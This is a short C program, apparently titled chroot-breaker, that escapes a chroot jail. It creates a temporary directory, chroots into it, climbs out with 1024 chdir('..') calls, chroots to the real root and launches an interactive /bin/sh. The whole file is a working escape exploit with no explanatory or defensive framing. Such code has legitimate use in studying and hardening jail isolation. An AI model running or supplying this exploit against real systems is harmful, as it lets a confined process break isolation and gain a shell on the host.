#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <assert.h>

int main()
{
	int i;
	char dirtemp[] = "/tmp/chroot-breaker-XXXXXX";

	assert(mkdtemp(dirtemp) != NULL);

	assert(chroot(dirtemp) >= 0);

	for( i = 0; i < 1024; i++) chdir("..");

	assert(chroot(".") >= 0);

	assert(execl("/bin/sh", "-i", NULL) >= 0);

	return 0;
}
